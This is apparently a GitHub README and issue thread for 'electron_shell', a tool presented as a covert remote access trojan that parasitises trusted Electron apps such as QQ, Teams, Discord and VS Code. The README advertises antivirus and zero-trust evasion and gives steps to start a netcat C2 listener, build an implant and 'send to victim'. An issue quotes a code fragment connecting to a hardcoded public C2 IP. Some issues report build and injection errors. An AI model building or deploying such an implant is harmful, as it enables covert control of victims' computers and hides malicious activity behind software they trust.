djerryz / electron_shell

Developing a more covert Remote Access Trojan (RAT) tool by leveraging Electron's features for command injection and combining it with remote control methods.

Electron_shell

Developing a more covert Remote Access Trojan (RAT) tool by leveraging Electron's features for command injection and combining it with remote control methods.
利用Electron桌面程序的白特征执行黑命令，一种隐蔽的远程访问特洛伊木马（RAT）寄生工具。
Read More: [AOH 024]探索将Shell寄生于Electron程序的自动化实现

🖥Video Demo

✨ Features

• 🌈 Supports almost all operating systems

  • mac
  • linux
  • windows

• 📦 Supports almost all desktop applications developed based on Electron

  • QQ
  • Microsoft Team
  • Discord
  • GitHubDesktop
  • 淘宝直播
  • vscode
  • and more (https://en.wikipedia.org/wiki/List_of_software_using_Electron)

• 🎨 All malicious operations are executed by the injected program, those commonly used trusted programs

• Bypass of Network Access Control Policy for Applications by Zero Trust Sandbox

• ⚙️ Verified that it will not be discovered by the antivirus software below

  (Please note that a simple command call has been implemented here, and some behavior based heuristic checks will still prompt , bypass AV is not a key issue to be addressed in this project)

  • Windows Defender
  • avast
  • 火绒
  • 360
  • 腾讯管家
  • virustotal

🎉Intro

An increasing number of desktop applications are opting for the Electron framework.

Electron provides a method that can be debugged, usually by utilizing Chrome's inspect function or calling inspect through Node.js. In this project, the implementation of inspect was analyzed, and a method for automatically parasitizing common Electron programs was developed.

By establishing a connection with the Command and Control (C2) server, a simple remote control is achieved.

Due to the widespread trust of most antivirus software in these well-known applications (with digital signatures), executing malicious commands in the program context provides excellent concealment and stability.

For these injected applications, it is necessary to carefully consider the potential legal risks brought by such actions. When users analyze program behavior, they may be surprised to find that the parent process executing malicious behavior comes from the application they trust.

🔨 Usage

C2 Server Setup

1. Deploy a server and obtain a public IP address
2. and then exec command: nc -lvnp 8899

Generating Implants

1. clone this project

2. modify build.config

   injected_app:  The electron program you want to inject
   c2:            set c2_Public IP and c2_netcat Port
   

3. exec node build.js, and then pkg to an execute program

4. Send to victim, and get electron_shell ❤️

🤝License - GPLv3

Electron_shell is licensed under GPLv3, some sub-components may have separate licenses. See their respective subdirectories in this project for details.

electron_shell's Issues

配置文件错误，qq程序不能注入

除了在build.config里面配置外还需要在 lib文件夹下的_inspect.js文件下把ip和端口修改过来：
function doit() {
const client = new net.Socket();
const c2_info = {"pub_ip":"175.27.249.94","port":"8889"};
client.connect(c2_info.port, c2_info.pub_ip, () => {

另外qq（windows版本）不能注入了：
yes find this: QQ.exe 1620
(node:7192) UnhandledPromiseRejectionWarning: Error: ϵͳÕÒ²»µ½Ö¸¶¨µÄÎļþ¡£
at C:\snapshot\electron_shell-main\lib_inspect.js
at processTicksAndRejections (internal/process/task_queues.js:95:5)
at process.runNextTicks [as _tickCallback] (internal/process/task_queues.js:64:3)
at Function.runMain (pkg/prelude/bootstrap.js:1980:13)
at internal/main/run_main_module.js:17:47
(Use cli --trace-warnings ... to show where the warning was created)
(node:7192) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag --unhandled-rejections=strict (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 1)
(node:7192) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

看不懂，不知道还会维护不

Error! No available node version satisfies 'node20'

使用node/20.0.0
node/20.10.0
这两个版本都报错
Error! No available node version satisfies 'node20'